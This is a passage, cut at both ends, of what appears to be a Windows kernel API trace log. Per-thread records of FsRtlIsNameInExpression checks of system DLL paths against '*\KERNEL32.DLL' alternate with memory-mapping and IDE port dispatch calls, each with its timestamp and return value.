Name="\\Windows\\System32\\xpsrchvw.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0117.201] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\xpsrchvw.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0117.216] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\WFS.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0117.226] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\WFSR.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0117.247] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\mstsc.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0117.256] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\mstsc.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 302 os_tid = 0x4c8 [0095.731] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0095.731] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d2000 [0095.732] IdePortDispatch () returned 0x103 [0095.736] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880040a4000 [0095.736] IdePortDispatch () returned 0x103 [0095.744] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880040e9000 [0095.744] IdePortDispatch () returned 0x103 [0095.745] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff8800312c6a0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880040ea000 [0095.745] IdePortDispatch () returned 0x103 [0095.746] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wmploc.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0095.746] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880040ed000 [0095.747] IdePortDispatch () returned 0x103 [0095.747] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880040f1000 [0095.747] IdePortDispatch () returned 0x103 [0095.748] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880040f5000 [0095.748] IdePortDispatch () returned 0x103 [0095.748] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880040f9000 [0095.748] IdePortDispatch () returned 0x103 [0095.749] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880040fe000 [0095.749] IdePortDispatch () returned 0x103 [0095.749] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88004102000 [0095.749] IdePortDispatch () returned 0x103 [0095.750] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88004104000 [0095.750] IdePortDispatch () returned 0x103 [0095.750] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88004108000 [0095.750] IdePortDispatch () returned 0x103 [0095.751] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800410c000 [0095.751] IdePortDispatch () returned 0x103 [0095.751] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88004110000 [0095.751] IdePortDispatch () returned 0x103 [0095.752] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88004114000 [0095.752] IdePortDispatch () returned 0x103 [0095.752] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88004118000 [0095.752] IdePortDispatch () returned 0x103 [0095.758] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800411c000 [0095.758] IdePortDispatch () returned 0x103 [0095.792] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cea000 [0095.792] IdePortDispatch () returned 0x103 [0095.834] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ceb000 [0095.834] IdePortDispatch () returned 0x103 [0095.849] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800349d000 [0095.849] IdePortDispatch () returned 0x103 [0095.860] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800349e000 [0095.860] IdePortDispatch () returned 0x103 [0099.047] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d6000 [0099.048] IdePortDispatch () returned 0x103 [0100.560] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b6e000 [0100.561] IdePortDispatch () returned 0x103 [0100.567] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cda000 [0100.567] IdePortDispatch () returned 0x103 [0100.891] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034fe000 [0100.891] IdePortDispatch () returned 0x103 [0101.996] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wmploc.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0101.997] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cde000 [0101.997] IdePortDispatch () returned 0x103 [0101.997] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce2000 [0101.997] IdePortDispatch () returned 0x103 [0101.998] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce6000 [0101.998] IdePortDispatch () returned 0x103 [0102.008] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cea000 [0102.008] IdePortDispatch () returned 0x103 [0102.009] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cee000 [0102.009] IdePortDispatch () returned 0x103 [0102.028] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0102.028] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf4000 [0102.028] IdePortDispatch () returned 0x103 [0102.029] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf8000 [0102.029] IdePortDispatch () returned 0x103 [0102.029] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cfc000 [0102.029] IdePortDispatch () returned 0x103 [0102.041] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0102.042] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d02000 [0102.042] IdePortDispatch () returned 0x103 [0102.042] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d06000 [0102.042] IdePortDispatch () returned 0x103 [0102.051] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d0a000 [0102.051] IdePortDispatch () returned 0x103 [0102.110] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d0b000 [0102.110] IdePortDispatch () returned 0x103 [0102.117] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d0c000 [0102.117] IdePortDispatch () returned 0x103 [0102.676] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ea000 [0102.676] IdePortDispatch () returned 0x103 [0102.676] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038bc390, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f7000 [0102.676] IdePortDispatch () returned 0x103 [0102.695] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0102.696] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800350d000 [0102.696] IdePortDispatch () returned 0x103 [0102.696] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003511000 [0102.696] IdePortDispatch () returned 0x103 [0102.901] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88004148000 [0102.901] IdePortDispatch () returned 0x103 [0102.903] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88004149000 [0102.903] IdePortDispatch () returned 0x103 [0102.904] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800414a000 [0102.904] IdePortDispatch () returned 0x103 [0103.009] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800414f000 [0103.009] IdePortDispatch () returned 0x103 [0103.020] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bd1000 [0103.021] IdePortDispatch () returned 0x103 [0103.171] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b66000 [0103.171] IdePortDispatch () returned 0x103 [0103.256] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bc0000 [0103.256] IdePortDispatch () returned 0x103 [0103.256] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038bc390, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bcc000 [0103.256] IdePortDispatch () returned 0x103 [0116.418] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0116.421] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wmploc.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0116.460] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 303 os_tid = 0x4cc [0092.739] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\thumbcache.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0092.768] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c8000 [0092.768] IdePortDispatch () returned 0x103 [0092.769] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003607090, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c9000 [0092.769] IdePortDispatch () returned 0x103 [0092.769] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003607090, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d0000 [0092.769] IdePortDispatch () returned 0x103 [0092.770] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d1000 [0092.770] IdePortDispatch () returned 0x103 [0092.795] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\networkexplorer.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0092.869] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b0e000 [0092.869] IdePortDispatch () returned 0x103 [0116.404] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c88000 [0116.404] IdePortDispatch () returned 0x103 Thread: id = 304 os_tid = 0x4d8 Thread: id = 305 os_tid = 0x4dc Thread: id = 308 os_tid = 0x4e4 Thread: id = 309 os_tid = 0x4e8 [0095.529] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\winmm.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0095.965] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wdmaud.drv", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0095.975] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ksuser.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0095.977] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\avrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.170] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\AudioSes.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.908] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msacm32.drv", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.913] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msacm32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.951] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\midimap.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0109.447] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\netprofm.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0109.701] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wkscli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0116.500] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\explorer.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 310 os_tid = 0x4ec Thread: id = 312 os_tid = 0x4f4 Thread: id = 318 os_tid = 0x51c [0116.450] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 321 os_tid = 0x520 [0102.660] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c6c000 [0102.661] IdePortDispatch () returned 0x103 [0102.661] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c74000 [0102.661] IdePortDispatch () returned 0x103 [0102.661] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c7d000 [0102.661] IdePortDispatch () returned 0x103 [0102.663] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb2000 [0102.663] IdePortDispatch () returned 0x103 Thread: id = 323 os_tid = 0x52c Thread: id = 334 os_tid = 0x564 Thread: id = 357 os_tid = 0x5c4 [0098.616] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wtsapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.093] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\es.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0104.810] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\FXSST.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0104.827] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\FXSAPI.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0104.882] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\FXSRESM.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 362 os_tid = 0x5d8 Thread: id = 376 os_tid = 0x610 Thread: id = 383 os_tid = 0x628 [0101.063] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\DXP.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0101.538] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\Syncreg.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0101.558] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80035af3d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003577000 [0101.559] IdePortDispatch () returned 0x103 [0101.559] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80035af3d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800357f000 [0101.559] IdePortDispatch () returned 0x103 [0101.565] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\ehome\\ehSSO.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0101.616] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\netshell.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0101.626] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\IPHLPAPI.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0101.626] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\nsi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0101.627] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\winnsi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0101.627] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\nlaapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0101.890] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\WPDShServiceObj.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0101.916] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\PortableDeviceTypes.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0101.951] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\PortableDeviceApi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0102.562] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cscobj.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0105.051] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\srchadmin.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0106.192] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\webcheck.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0106.259] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ieframe.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0106.272] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\oleacc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0106.283] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\mlang.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0106.403] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b8e000 [0106.403] IdePortDispatch () returned 0x103 [0106.486] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\SyncCenter.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0106.524] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imapi2.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0106.739] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c88000 [0106.740] IdePortDispatch () returned 0x103 [0106.747] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\hgcpl.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0106.773] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\provsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0109.010] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\npmproxy.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0110.647] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d6e000 [0110.647] IdePortDispatch () returned 0x103 [0114.221] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d5000 [0114.221] IdePortDispatch () returned 0x103 Thread: id = 385 os_tid = 0x630 [0102.190] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\AltTab.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0102.234] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\pnidui.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0102.242] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\QUTIL.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0102.248] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wevtapi.dll", IgnoreCase=1, 